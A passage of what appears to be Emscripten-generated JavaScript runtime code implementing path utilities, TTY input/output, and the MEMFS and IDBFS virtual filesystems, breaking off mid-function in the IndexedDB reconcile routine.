  1756.                 up--
  1757.             }
  1758.         }
  1759.         if (allowAboveRoot) {
  1760.             for (; up; up--) {
  1761.                 parts.unshift("..")
  1762.             }
  1763.         }
  1764.         return parts
  1765.     }
  1766.     ),
  1767.     normalize: (function(path) {
  1768.         var isAbsolute = path.charAt(0) === "/"
  1769.           , trailingSlash = path.substr(-1) === "/";
  1770.         path = PATH.normalizeArray(path.split("/").filter((function(p) {
  1771.             return !!p
  1772.         }
  1773.         )), !isAbsolute).join("/");
  1774.         if (!path && !isAbsolute) {
  1775.             path = "."
  1776.         }
  1777.         if (path && trailingSlash) {
  1778.             path += "/"
  1779.         }
  1780.         return (isAbsolute ? "/" : "") + path
  1781.     }
  1782.     ),
  1783.     dirname: (function(path) {
  1784.         var result = PATH.splitPath(path)
  1785.           , root = result[0]
  1786.           , dir = result[1];
  1787.         if (!root && !dir) {
  1788.             return "."
  1789.         }
  1790.         if (dir) {
  1791.             dir = dir.substr(0, dir.length - 1)
  1792.         }
  1793.         return root + dir
  1794.     }
  1795.     ),
  1796.     basename: (function(path) {
  1797.         if (path === "/")
  1798.             return "/";
  1799.         var lastSlash = path.lastIndexOf("/");
  1800.         if (lastSlash === -1)
  1801.             return path;
  1802.         return path.substr(lastSlash + 1)
  1803.     }
  1804.     ),
  1805.     extname: (function(path) {
  1806.         return PATH.splitPath(path)[3]
  1807.     }
  1808.     ),
  1809.     join: (function() {
  1810.         var paths = Array.prototype.slice.call(arguments, 0);
  1811.         return PATH.normalize(paths.join("/"))
  1812.     }
  1813.     ),
  1814.     join2: (function(l, r) {
  1815.         return PATH.normalize(l + "/" + r)
  1816.     }
  1817.     ),
  1818.     resolve: (function() {
  1819.         var resolvedPath = ""
  1820.           , resolvedAbsolute = false;
  1821.         for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) {
  1822.             var path = i >= 0 ? arguments[i] : FS.cwd();
  1823.             if (typeof path !== "string") {
  1824.                 throw new TypeError("Arguments to path.resolve must be strings")
  1825.             } else if (!path) {
  1826.                 return ""
  1827.             }
  1828.             resolvedPath = path + "/" + resolvedPath;
  1829.             resolvedAbsolute = path.charAt(0) === "/"
  1830.         }
  1831.         resolvedPath = PATH.normalizeArray(resolvedPath.split("/").filter((function(p) {
  1832.             return !!p
  1833.         }
  1834.         )), !resolvedAbsolute).join("/");
  1835.         return (resolvedAbsolute ? "/" : "") + resolvedPath || "."
  1836.     }
  1837.     ),
  1838.     relative: (function(from, to) {
  1839.         from = PATH.resolve(from).substr(1);
  1840.         to = PATH.resolve(to).substr(1);
  1841.         function trim(arr) {
  1842.             var start = 0;
  1843.             for (; start < arr.length; start++) {
  1844.                 if (arr[start] !== "")
  1845.                     break
  1846.             }
  1847.             var end = arr.length - 1;
  1848.             for (; end >= 0; end--) {
  1849.                 if (arr[end] !== "")
  1850.                     break
  1851.             }
  1852.             if (start > end)
  1853.                 return [];
  1854.             return arr.slice(start, end - start + 1)
  1855.         }
  1856.         var fromParts = trim(from.split("/"));
  1857.         var toParts = trim(to.split("/"));
  1858.         var length = Math.min(fromParts.length, toParts.length);
  1859.         var samePartsLength = length;
  1860.         for (var i = 0; i < length; i++) {
  1861.             if (fromParts[i] !== toParts[i]) {
  1862.                 samePartsLength = i;
  1863.                 break
  1864.             }
  1865.         }
  1866.         var outputParts = [];
  1867.         for (var i = samePartsLength; i < fromParts.length; i++) {
  1868.             outputParts.push("..")
  1869.         }
  1870.         outputParts = outputParts.concat(toParts.slice(samePartsLength));
  1871.         return outputParts.join("/")
  1872.     }
  1873.     )
  1874. };
  1875. var TTY = {
  1876.     ttys: [],
  1877.     init: (function() {}
  1878.     ),
  1879.     shutdown: (function() {}
  1880.     ),
  1881.     register: (function(dev, ops) {
  1882.         TTY.ttys[dev] = {
  1883.             input: [],
  1884.             output: [],
  1885.             ops: ops
  1886.         };
  1887.         FS.registerDevice(dev, TTY.stream_ops)
  1888.     }
  1889.     ),
  1890.     stream_ops: {
  1891.         open: (function(stream) {
  1892.             var tty = TTY.ttys[stream.node.rdev];
  1893.             if (!tty) {
  1894.                 throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  1895.             }
  1896.             stream.tty = tty;
  1897.             stream.seekable = false
  1898.         }
  1899.         ),
  1900.         close: (function(stream) {
  1901.             stream.tty.ops.flush(stream.tty)
  1902.         }
  1903.         ),
  1904.         flush: (function(stream) {
  1905.             stream.tty.ops.flush(stream.tty)
  1906.         }
  1907.         ),
  1908.         read: (function(stream, buffer, offset, length, pos) {
  1909.             if (!stream.tty || !stream.tty.ops.get_char) {
  1910.                 throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
  1911.             }
  1912.             var bytesRead = 0;
  1913.             for (var i = 0; i < length; i++) {
  1914.                 var result;
  1915.                 try {
  1916.                     result = stream.tty.ops.get_char(stream.tty)
  1917.                 } catch (e) {
  1918.                     throw new FS.ErrnoError(ERRNO_CODES.EIO)
  1919.                 }
  1920.                 if (result === undefined && bytesRead === 0) {
  1921.                     throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
  1922.                 }
  1923.                 if (result === null || result === undefined)
  1924.                     break;
  1925.                 bytesRead++;
  1926.                 buffer[offset + i] = result
  1927.             }
  1928.             if (bytesRead) {
  1929.                 stream.node.timestamp = Date.now()
  1930.             }
  1931.             return bytesRead
  1932.         }
  1933.         ),
  1934.         write: (function(stream, buffer, offset, length, pos) {
  1935.             if (!stream.tty || !stream.tty.ops.put_char) {
  1936.                 throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
  1937.             }
  1938.             for (var i = 0; i < length; i++) {
  1939.                 try {
  1940.                     stream.tty.ops.put_char(stream.tty, buffer[offset + i])
  1941.                 } catch (e) {
  1942.                     throw new FS.ErrnoError(ERRNO_CODES.EIO)
  1943.                 }
  1944.             }
  1945.             if (length) {
  1946.                 stream.node.timestamp = Date.now()
  1947.             }
  1948.             return i
  1949.         }
  1950.         )
  1951.     },
  1952.     default_tty_ops: {
  1953.         get_char: (function(tty) {
  1954.             if (!tty.input.length) {
  1955.                 var result = null;
  1956.                 if (ENVIRONMENT_IS_NODE) {
  1957.                     var BUFSIZE = 256;
  1958.                     var buf = new Buffer(BUFSIZE);
  1959.                     var bytesRead = 0;
  1960.                     var isPosixPlatform = process.platform != "win32";
  1961.                     var fd = process.stdin.fd;
  1962.                     if (isPosixPlatform) {
  1963.                         var usingDevice = false;
  1964.                         try {
  1965.                             fd = fs.openSync("/dev/stdin", "r");
  1966.                             usingDevice = true
  1967.                         } catch (e) {}
  1968.                     }
  1969.                     try {
  1970.                         bytesRead = fs.readSync(fd, buf, 0, BUFSIZE, null)
  1971.                     } catch (e) {
  1972.                         if (e.toString().indexOf("EOF") != -1)
  1973.                             bytesRead = 0;
  1974.                         else
  1975.                             throw e
  1976.                     }
  1977.                     if (usingDevice) {
  1978.                         fs.closeSync(fd)
  1979.                     }
  1980.                     if (bytesRead > 0) {
  1981.                         result = buf.slice(0, bytesRead).toString("utf-8")
  1982.                     } else {
  1983.                         result = null
  1984.                     }
  1985.                 } else if (typeof window != "undefined" && typeof window.prompt == "function") {
  1986.                     result = window.prompt("Input: ");
  1987.                     if (result !== null) {
  1988.                         result += "\n"
  1989.                     }
  1990.                 } else if (typeof readline == "function") {
  1991.                     result = readline();
  1992.                     if (result !== null) {
  1993.                         result += "\n"
  1994.                     }
  1995.                 }
  1996.                 if (!result) {
  1997.                     return null
  1998.                 }
  1999.                 tty.input = intArrayFromString(result, true)
  2000.             }
  2001.             return tty.input.shift()
  2002.         }
  2003.         ),
  2004.         put_char: (function(tty, val) {
  2005.             if (val === null || val === 10) {
  2006.                 Module["print"](UTF8ArrayToString(tty.output, 0));
  2007.                 tty.output = []
  2008.             } else {
  2009.                 if (val != 0)
  2010.                     tty.output.push(val)
  2011.             }
  2012.         }
  2013.         ),
  2014.         flush: (function(tty) {
  2015.             if (tty.output && tty.output.length > 0) {
  2016.                 Module["print"](UTF8ArrayToString(tty.output, 0));
  2017.                 tty.output = []
  2018.             }
  2019.         }
  2020.         )
  2021.     },
  2022.     default_tty1_ops: {
  2023.         put_char: (function(tty, val) {
  2024.             if (val === null || val === 10) {
  2025.                 Module["printErr"](UTF8ArrayToString(tty.output, 0));
  2026.                 tty.output = []
  2027.             } else {
  2028.                 if (val != 0)
  2029.                     tty.output.push(val)
  2030.             }
  2031.         }
  2032.         ),
  2033.         flush: (function(tty) {
  2034.             if (tty.output && tty.output.length > 0) {
  2035.                 Module["printErr"](UTF8ArrayToString(tty.output, 0));
  2036.                 tty.output = []
  2037.             }
  2038.         }
  2039.         )
  2040.     }
  2041. };
  2042. var MEMFS = {
  2043.     ops_table: null,
  2044.     mount: (function(mount) {
  2045.         return MEMFS.createNode(null, "/", 16384 | 511, 0)
  2046.     }
  2047.     ),
  2048.     createNode: (function(parent, name, mode, dev) {
  2049.         if (FS.isBlkdev(mode) || FS.isFIFO(mode)) {
  2050.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2051.         }
  2052.         if (!MEMFS.ops_table) {
  2053.             MEMFS.ops_table = {
  2054.                 dir: {
  2055.                     node: {
  2056.                         getattr: MEMFS.node_ops.getattr,
  2057.                         setattr: MEMFS.node_ops.setattr,
  2058.                         lookup: MEMFS.node_ops.lookup,
  2059.                         mknod: MEMFS.node_ops.mknod,
  2060.                         rename: MEMFS.node_ops.rename,
  2061.                         unlink: MEMFS.node_ops.unlink,
  2062.                         rmdir: MEMFS.node_ops.rmdir,
  2063.                         readdir: MEMFS.node_ops.readdir,
  2064.                         symlink: MEMFS.node_ops.symlink
  2065.                     },
  2066.                     stream: {
  2067.                         llseek: MEMFS.stream_ops.llseek
  2068.                     }
  2069.                 },
  2070.                 file: {
  2071.                     node: {
  2072.                         getattr: MEMFS.node_ops.getattr,
  2073.                         setattr: MEMFS.node_ops.setattr
  2074.                     },
  2075.                     stream: {
  2076.                         llseek: MEMFS.stream_ops.llseek,
  2077.                         read: MEMFS.stream_ops.read,
  2078.                         write: MEMFS.stream_ops.write,
  2079.                         allocate: MEMFS.stream_ops.allocate,
  2080.                         mmap: MEMFS.stream_ops.mmap,
  2081.                         msync: MEMFS.stream_ops.msync
  2082.                     }
  2083.                 },
  2084.                 link: {
  2085.                     node: {
  2086.                         getattr: MEMFS.node_ops.getattr,
  2087.                         setattr: MEMFS.node_ops.setattr,
  2088.                         readlink: MEMFS.node_ops.readlink
  2089.                     },
  2090.                     stream: {}
  2091.                 },
  2092.                 chrdev: {
  2093.                     node: {
  2094.                         getattr: MEMFS.node_ops.getattr,
  2095.                         setattr: MEMFS.node_ops.setattr
  2096.                     },
  2097.                     stream: FS.chrdev_stream_ops
  2098.                 }
  2099.             }
  2100.         }
  2101.         var node = FS.createNode(parent, name, mode, dev);
  2102.         if (FS.isDir(node.mode)) {
  2103.             node.node_ops = MEMFS.ops_table.dir.node;
  2104.             node.stream_ops = MEMFS.ops_table.dir.stream;
  2105.             node.contents = {}
  2106.         } else if (FS.isFile(node.mode)) {
  2107.             node.node_ops = MEMFS.ops_table.file.node;
  2108.             node.stream_ops = MEMFS.ops_table.file.stream;
  2109.             node.usedBytes = 0;
  2110.             node.contents = null
  2111.         } else if (FS.isLink(node.mode)) {
  2112.             node.node_ops = MEMFS.ops_table.link.node;
  2113.             node.stream_ops = MEMFS.ops_table.link.stream
  2114.         } else if (FS.isChrdev(node.mode)) {
  2115.             node.node_ops = MEMFS.ops_table.chrdev.node;
  2116.             node.stream_ops = MEMFS.ops_table.chrdev.stream
  2117.         }
  2118.         node.timestamp = Date.now();
  2119.         if (parent) {
  2120.             parent.contents[name] = node
  2121.         }
  2122.         return node
  2123.     }
  2124.     ),
  2125.     getFileDataAsRegularArray: (function(node) {
  2126.         if (node.contents && node.contents.subarray) {
  2127.             var arr = [];
  2128.             for (var i = 0; i < node.usedBytes; ++i)
  2129.                 arr.push(node.contents[i]);
  2130.             return arr
  2131.         }
  2132.         return node.contents
  2133.     }
  2134.     ),
  2135.     getFileDataAsTypedArray: (function(node) {
  2136.         if (!node.contents)
  2137.             return new Uint8Array;
  2138.         if (node.contents.subarray)
  2139.             return node.contents.subarray(0, node.usedBytes);
  2140.         return new Uint8Array(node.contents)
  2141.     }
  2142.     ),
  2143.     expandFileStorage: (function(node, newCapacity) {
  2144.         if (node.contents && node.contents.subarray && newCapacity > node.contents.length) {
  2145.             node.contents = MEMFS.getFileDataAsRegularArray(node);
  2146.             node.usedBytes = node.contents.length
  2147.         }
  2148.         if (!node.contents || node.contents.subarray) {
  2149.             var prevCapacity = node.contents ? node.contents.length : 0;
  2150.             if (prevCapacity >= newCapacity)
  2151.                 return;
  2152.             var CAPACITY_DOUBLING_MAX = 1024 * 1024;
  2153.             newCapacity = Math.max(newCapacity, prevCapacity * (prevCapacity < CAPACITY_DOUBLING_MAX ? 2 : 1.125) | 0);
  2154.             if (prevCapacity != 0)
  2155.                 newCapacity = Math.max(newCapacity, 256);
  2156.             var oldContents = node.contents;
  2157.             node.contents = new Uint8Array(newCapacity);
  2158.             if (node.usedBytes > 0)
  2159.                 node.contents.set(oldContents.subarray(0, node.usedBytes), 0);
  2160.             return
  2161.         }
  2162.         if (!node.contents && newCapacity > 0)
  2163.             node.contents = [];
  2164.         while (node.contents.length < newCapacity)
  2165.             node.contents.push(0)
  2166.     }
  2167.     ),
  2168.     resizeFileStorage: (function(node, newSize) {
  2169.         if (node.usedBytes == newSize)
  2170.             return;
  2171.         if (newSize == 0) {
  2172.             node.contents = null;
  2173.             node.usedBytes = 0;
  2174.             return
  2175.         }
  2176.         if (!node.contents || node.contents.subarray) {
  2177.             var oldContents = node.contents;
  2178.             node.contents = new Uint8Array(new ArrayBuffer(newSize));
  2179.             if (oldContents) {
  2180.                 node.contents.set(oldContents.subarray(0, Math.min(newSize, node.usedBytes)))
  2181.             }
  2182.             node.usedBytes = newSize;
  2183.             return
  2184.         }
  2185.         if (!node.contents)
  2186.             node.contents = [];
  2187.         if (node.contents.length > newSize)
  2188.             node.contents.length = newSize;
  2189.         else
  2190.             while (node.contents.length < newSize)
  2191.                 node.contents.push(0);
  2192.         node.usedBytes = newSize
  2193.     }
  2194.     ),
  2195.     node_ops: {
  2196.         getattr: (function(node) {
  2197.             var attr = {};
  2198.             attr.dev = FS.isChrdev(node.mode) ? node.id : 1;
  2199.             attr.ino = node.id;
  2200.             attr.mode = node.mode;
  2201.             attr.nlink = 1;
  2202.             attr.uid = 0;
  2203.             attr.gid = 0;
  2204.             attr.rdev = node.rdev;
  2205.             if (FS.isDir(node.mode)) {
  2206.                 attr.size = 4096
  2207.             } else if (FS.isFile(node.mode)) {
  2208.                 attr.size = node.usedBytes
  2209.             } else if (FS.isLink(node.mode)) {
  2210.                 attr.size = node.link.length
  2211.             } else {
  2212.                 attr.size = 0
  2213.             }
  2214.             attr.atime = new Date(node.timestamp);
  2215.             attr.mtime = new Date(node.timestamp);
  2216.             attr.ctime = new Date(node.timestamp);
  2217.             attr.blksize = 4096;
  2218.             attr.blocks = Math.ceil(attr.size / attr.blksize);
  2219.             return attr
  2220.         }
  2221.         ),
  2222.         setattr: (function(node, attr) {
  2223.             if (attr.mode !== undefined) {
  2224.                 node.mode = attr.mode
  2225.             }
  2226.             if (attr.timestamp !== undefined) {
  2227.                 node.timestamp = attr.timestamp
  2228.             }
  2229.             if (attr.size !== undefined) {
  2230.                 MEMFS.resizeFileStorage(node, attr.size)
  2231.             }
  2232.         }
  2233.         ),
  2234.         lookup: (function(parent, name) {
  2235.             throw FS.genericErrors[ERRNO_CODES.ENOENT]
  2236.         }
  2237.         ),
  2238.         mknod: (function(parent, name, mode, dev) {
  2239.             return MEMFS.createNode(parent, name, mode, dev)
  2240.         }
  2241.         ),
  2242.         rename: (function(old_node, new_dir, new_name) {
  2243.             if (FS.isDir(old_node.mode)) {
  2244.                 var new_node;
  2245.                 try {
  2246.                     new_node = FS.lookupNode(new_dir, new_name)
  2247.                 } catch (e) {}
  2248.                 if (new_node) {
  2249.                     for (var i in new_node.contents) {
  2250.                         throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  2251.                     }
  2252.                 }
  2253.             }
  2254.             delete old_node.parent.contents[old_node.name];
  2255.             old_node.name = new_name;
  2256.             new_dir.contents[new_name] = old_node;
  2257.             old_node.parent = new_dir
  2258.         }
  2259.         ),
  2260.         unlink: (function(parent, name) {
  2261.             delete parent.contents[name]
  2262.         }
  2263.         ),
  2264.         rmdir: (function(parent, name) {
  2265.             var node = FS.lookupNode(parent, name);
  2266.             for (var i in node.contents) {
  2267.                 throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  2268.             }
  2269.             delete parent.contents[name]
  2270.         }
  2271.         ),
  2272.         readdir: (function(node) {
  2273.             var entries = [".", ".."];
  2274.             for (var key in node.contents) {
  2275.                 if (!node.contents.hasOwnProperty(key)) {
  2276.                     continue
  2277.                 }
  2278.                 entries.push(key)
  2279.             }
  2280.             return entries
  2281.         }
  2282.         ),
  2283.         symlink: (function(parent, newname, oldpath) {
  2284.             var node = MEMFS.createNode(parent, newname, 511 | 40960, 0);
  2285.             node.link = oldpath;
  2286.             return node
  2287.         }
  2288.         ),
  2289.         readlink: (function(node) {
  2290.             if (!FS.isLink(node.mode)) {
  2291.                 throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2292.             }
  2293.             return node.link
  2294.         }
  2295.         )
  2296.     },
  2297.     stream_ops: {
  2298.         read: (function(stream, buffer, offset, length, position) {
  2299.             var contents = stream.node.contents;
  2300.             if (position >= stream.node.usedBytes)
  2301.                 return 0;
  2302.             var size = Math.min(stream.node.usedBytes - position, length);
  2303.             assert(size >= 0);
  2304.             if (size > 8 && contents.subarray) {
  2305.                 buffer.set(contents.subarray(position, position + size), offset)
  2306.             } else {
  2307.                 for (var i = 0; i < size; i++)
  2308.                     buffer[offset + i] = contents[position + i]
  2309.             }
  2310.             return size
  2311.         }
  2312.         ),
  2313.         write: (function(stream, buffer, offset, length, position, canOwn) {
  2314.             if (!length)
  2315.                 return 0;
  2316.             var node = stream.node;
  2317.             node.timestamp = Date.now();
  2318.             if (buffer.subarray && (!node.contents || node.contents.subarray)) {
  2319.                 if (canOwn) {
  2320.                     node.contents = buffer.subarray(offset, offset + length);
  2321.                     node.usedBytes = length;
  2322.                     return length
  2323.                 } else if (node.usedBytes === 0 && position === 0) {
  2324.                     node.contents = new Uint8Array(buffer.subarray(offset, offset + length));
  2325.                     node.usedBytes = length;
  2326.                     return length
  2327.                 } else if (position + length <= node.usedBytes) {
  2328.                     node.contents.set(buffer.subarray(offset, offset + length), position);
  2329.                     return length
  2330.                 }
  2331.             }
  2332.             MEMFS.expandFileStorage(node, position + length);
  2333.             if (node.contents.subarray && buffer.subarray)
  2334.                 node.contents.set(buffer.subarray(offset, offset + length), position);
  2335.             else {
  2336.                 for (var i = 0; i < length; i++) {
  2337.                     node.contents[position + i] = buffer[offset + i]
  2338.                 }
  2339.             }
  2340.             node.usedBytes = Math.max(node.usedBytes, position + length);
  2341.             return length
  2342.         }
  2343.         ),
  2344.         llseek: (function(stream, offset, whence) {
  2345.             var position = offset;
  2346.             if (whence === 1) {
  2347.                 position += stream.position
  2348.             } else if (whence === 2) {
  2349.                 if (FS.isFile(stream.node.mode)) {
  2350.                     position += stream.node.usedBytes
  2351.                 }
  2352.             }
  2353.             if (position < 0) {
  2354.                 throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2355.             }
  2356.             return position
  2357.         }
  2358.         ),
  2359.         allocate: (function(stream, offset, length) {
  2360.             MEMFS.expandFileStorage(stream.node, offset + length);
  2361.             stream.node.usedBytes = Math.max(stream.node.usedBytes, offset + length)
  2362.         }
  2363.         ),
  2364.         mmap: (function(stream, buffer, offset, length, position, prot, flags) {
  2365.             if (!FS.isFile(stream.node.mode)) {
  2366.                 throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  2367.             }
  2368.             var ptr;
  2369.             var allocated;
  2370.             var contents = stream.node.contents;
  2371.             if (!(flags & 2) && (contents.buffer === buffer || contents.buffer === buffer.buffer)) {
  2372.                 allocated = false;
  2373.                 ptr = contents.byteOffset
  2374.             } else {
  2375.                 if (position > 0 || position + length < stream.node.usedBytes) {
  2376.                     if (contents.subarray) {
  2377.                         contents = contents.subarray(position, position + length)
  2378.                     } else {
  2379.                         contents = Array.prototype.slice.call(contents, position, position + length)
  2380.                     }
  2381.                 }
  2382.                 allocated = true;
  2383.                 ptr = _malloc(length);
  2384.                 if (!ptr) {
  2385.                     throw new FS.ErrnoError(ERRNO_CODES.ENOMEM)
  2386.                 }
  2387.                 buffer.set(contents, ptr)
  2388.             }
  2389.             return {
  2390.                 ptr: ptr,
  2391.                 allocated: allocated
  2392.             }
  2393.         }
  2394.         ),
  2395.         msync: (function(stream, buffer, offset, length, mmapFlags) {
  2396.             if (!FS.isFile(stream.node.mode)) {
  2397.                 throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  2398.             }
  2399.             if (mmapFlags & 2) {
  2400.                 return 0
  2401.             }
  2402.             var bytesWritten = MEMFS.stream_ops.write(stream, buffer, 0, length, offset, false);
  2403.             return 0
  2404.         }
  2405.         )
  2406.     }
  2407. };
  2408. var IDBFS = {
  2409.     dbs: {},
  2410.     indexedDB: (function() {
  2411.         if (typeof indexedDB !== "undefined")
  2412.             return indexedDB;
  2413.         var ret = null;
  2414.         if (typeof window === "object")
  2415.             ret = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
  2416.         assert(ret, "IDBFS used, but indexedDB not supported");
  2417.         return ret
  2418.     }
  2419.     ),
  2420.     DB_VERSION: 21,
  2421.     DB_STORE_NAME: "FILE_DATA",
  2422.     mount: (function(mount) {
  2423.         return MEMFS.mount.apply(null, arguments)
  2424.     }
  2425.     ),
  2426.     syncfs: (function(mount, populate, callback) {
  2427.         IDBFS.getLocalSet(mount, (function(err, local) {
  2428.             if (err)
  2429.                 return callback(err);
  2430.             IDBFS.getRemoteSet(mount, (function(err, remote) {
  2431.                 if (err)
  2432.                     return callback(err);
  2433.                 var src = populate ? remote : local;
  2434.                 var dst = populate ? local : remote;
  2435.                 IDBFS.reconcile(src, dst, callback)
  2436.             }
  2437.             ))
  2438.         }
  2439.         ))
  2440.     }
  2441.     ),
  2442.     getDB: (function(name, callback) {
  2443.         var db = IDBFS.dbs[name];
  2444.         if (db) {
  2445.             return callback(null, db)
  2446.         }
  2447.         var req;
  2448.         try {
  2449.             req = IDBFS.indexedDB().open(name, IDBFS.DB_VERSION)
  2450.         } catch (e) {
  2451.             return callback(e)
  2452.         }
  2453.         if (!req) {
  2454.             return callback("Unable to connect to IndexedDB")
  2455.         }
  2456.         req.onupgradeneeded = (function(e) {
  2457.             var db = e.target.result;
  2458.             var transaction = e.target.transaction;
  2459.             var fileStore;
  2460.             if (db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)) {
  2461.                 fileStore = transaction.objectStore(IDBFS.DB_STORE_NAME)
  2462.             } else {
  2463.                 fileStore = db.createObjectStore(IDBFS.DB_STORE_NAME)
  2464.             }
  2465.             if (!fileStore.indexNames.contains("timestamp")) {
  2466.                 fileStore.createIndex("timestamp", "timestamp", {
  2467.                     unique: false
  2468.                 })
  2469.             }
  2470.         }
  2471.         );
  2472.         req.onsuccess = (function() {
  2473.             db = req.result;
  2474.             IDBFS.dbs[name] = db;
  2475.             callback(null, db)
  2476.         }
  2477.         );
  2478.         req.onerror = (function(e) {
  2479.             callback(this.error);
  2480.             e.preventDefault()
  2481.         }
  2482.         )
  2483.     }
  2484.     ),
  2485.     getLocalSet: (function(mount, callback) {
  2486.         var entries = {};
  2487.         function isRealDir(p) {
  2488.             return p !== "." && p !== ".."
  2489.         }
  2490.         function toAbsolute(root) {
  2491.             return (function(p) {
  2492.                 return PATH.join2(root, p)
  2493.             }
  2494.             )
  2495.         }
  2496.         var check = FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));
  2497.         while (check.length) {
  2498.             var path = check.pop();
  2499.             var stat;
  2500.             try {
  2501.                 stat = FS.stat(path)
  2502.             } catch (e) {
  2503.                 return callback(e)
  2504.             }
  2505.             if (FS.isDir(stat.mode)) {
  2506.                 check.push.apply(check, FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))
  2507.             }
  2508.             entries[path] = {
  2509.                 timestamp: stat.mtime
  2510.             }
  2511.         }
  2512.         return callback(null, {
  2513.             type: "local",
  2514.             entries: entries
  2515.         })
  2516.     }
  2517.     ),
  2518.     getRemoteSet: (function(mount, callback) {
  2519.         var entries = {};
  2520.         IDBFS.getDB(mount.mountpoint, (function(err, db) {
  2521.             if (err)
  2522.                 return callback(err);
  2523.             var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readonly");
  2524.             transaction.onerror = (function(e) {
  2525.                 callback(this.error);
  2526.                 e.preventDefault()
  2527.             }
  2528.             );
  2529.             var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
  2530.             var index = store.index("timestamp");
  2531.             index.openKeyCursor().onsuccess = (function(event) {
  2532.                 var cursor = event.target.result;
  2533.                 if (!cursor) {
  2534.                     return callback(null, {
  2535.                         type: "remote",
  2536.                         db: db,
  2537.                         entries: entries
  2538.                     })
  2539.                 }
  2540.                 entries[cursor.primaryKey] = {
  2541.                     timestamp: cursor.key
  2542.                 };
  2543.                 cursor.continue()
  2544.             }
  2545.             )
  2546.         }
  2547.         ))
  2548.     }
  2549.     ),
  2550.     loadLocalEntry: (function(path, callback) {
  2551.         var stat, node;
  2552.         try {
  2553.             var lookup = FS.lookupPath(path);
  2554.             node = lookup.node;
  2555.             stat = FS.stat(path)
  2556.         } catch (e) {
  2557.             return callback(e)
  2558.         }
  2559.         if (FS.isDir(stat.mode)) {
  2560.             return callback(null, {
  2561.                 timestamp: stat.mtime,
  2562.                 mode: stat.mode
  2563.             })
  2564.         } else if (FS.isFile(stat.mode)) {
  2565.             node.contents = MEMFS.getFileDataAsTypedArray(node);
  2566.             return callback(null, {
  2567.                 timestamp: stat.mtime,
  2568.                 mode: stat.mode,
  2569.                 contents: node.contents
  2570.             })
  2571.         } else {
  2572.             return callback(new Error("node type not supported"))
  2573.         }
  2574.     }
  2575.     ),
  2576.     storeLocalEntry: (function(path, entry, callback) {
  2577.         try {
  2578.             if (FS.isDir(entry.mode)) {
  2579.                 FS.mkdir(path, entry.mode)
  2580.             } else if (FS.isFile(entry.mode)) {
  2581.                 FS.writeFile(path, entry.contents, {
  2582.                     encoding: "binary",
  2583.                     canOwn: true
  2584.                 })
  2585.             } else {
  2586.                 return callback(new Error("node type not supported"))
  2587.             }
  2588.             FS.chmod(path, entry.mode);
  2589.             FS.utime(path, entry.timestamp, entry.timestamp)
  2590.         } catch (e) {
  2591.             return callback(e)
  2592.         }
  2593.         callback(null)
  2594.     }
  2595.     ),
  2596.     removeLocalEntry: (function(path, callback) {
  2597.         try {
  2598.             var lookup = FS.lookupPath(path);
  2599.             var stat = FS.stat(path);
  2600.             if (FS.isDir(stat.mode)) {
  2601.                 FS.rmdir(path)
  2602.             } else if (FS.isFile(stat.mode)) {
  2603.                 FS.unlink(path)
  2604.             }
  2605.         } catch (e) {
  2606.             return callback(e)
  2607.         }
  2608.         callback(null)
  2609.     }
  2610.     ),
  2611.     loadRemoteEntry: (function(store, path, callback) {
  2612.         var req = store.get(path);
  2613.         req.onsuccess = (function(event) {
  2614.             callback(null, event.target.result)
  2615.         }
  2616.         );
  2617.         req.onerror = (function(e) {
  2618.             callback(this.error);
  2619.             e.preventDefault()
  2620.         }
  2621.         )
  2622.     }
  2623.     ),
  2624.     storeRemoteEntry: (function(store, path, entry, callback) {
  2625.         var req = store.put(entry, path);
  2626.         req.onsuccess = (function() {
  2627.             callback(null)
  2628.         }
  2629.         );
  2630.         req.onerror = (function(e) {
  2631.             callback(this.error);
  2632.             e.preventDefault()
  2633.         }
  2634.         )
  2635.     }
  2636.     ),
  2637.     removeRemoteEntry: (function(store, path, callback) {
  2638.         var req = store.delete(path);
  2639.         req.onsuccess = (function() {
  2640.             callback(null)
  2641.         }
  2642.         );
  2643.         req.onerror = (function(e) {
  2644.             callback(this.error);
  2645.             e.preventDefault()
  2646.         }
  2647.         )
  2648.     }
  2649.     ),
  2650.     reconcile: (function(src, dst, callback) {
  2651.         var total = 0;
  2652.         var create = [];
  2653.         Object.keys(src.entries).forEach((function(key) {
  2654.             var e = src.entries[key];
  2655.             var e2 = dst.entries[key];
  2656.             if (!e2 || e.timestamp > e2.timestamp) {
  2657.                 create.push(key);
  2658.                 total++
  2659.             }
  2660.         }
  2661.         ));
  2662.         var remove = [];
  2663.         Object.keys(dst.entries).forEach((function(key) {
  2664.             var e = dst.entries[key];
  2665.             var e2 = src.entries[key];
  2666.             if (!e2) {
  2667.                 remove.push(key);
  2668.                 total++
  2669.             }
  2670.         }
  2671.         ));
  2672.         if (!total) {
  2673.             return callback(null)
  2674.         }
  2675.         var completed = 0;
  2676.         var db = src.type === "remote" ? src.db : dst.db;
  2677.         var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readwrite");
  2678.         var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
  2679.         function done(err) {
  2680.             if (err) {
  2681.                 if (!done.errored) {
  2682.                     done.errored = true;
  2683.                     return callback(err)
  2684.                 }
  2685.                 return
  2686.             }
  2687.             if (++completed >= total) {
  2688.                 return callback(null)
  2689.             }
  2690.         }
  2691.         transaction.onerror = (function(e) {
  2692.             done(this.error);
  2693.             e.preventDefault()
  2694.         }
  2695.         );
  2696.         create.sort().forEach((function(path) {
  2697.             if (dst.type === "local") {
  2698.                 IDBFS.loadRemoteEntry(store, path, (function(err, entry) {
  2699.                     if (err)
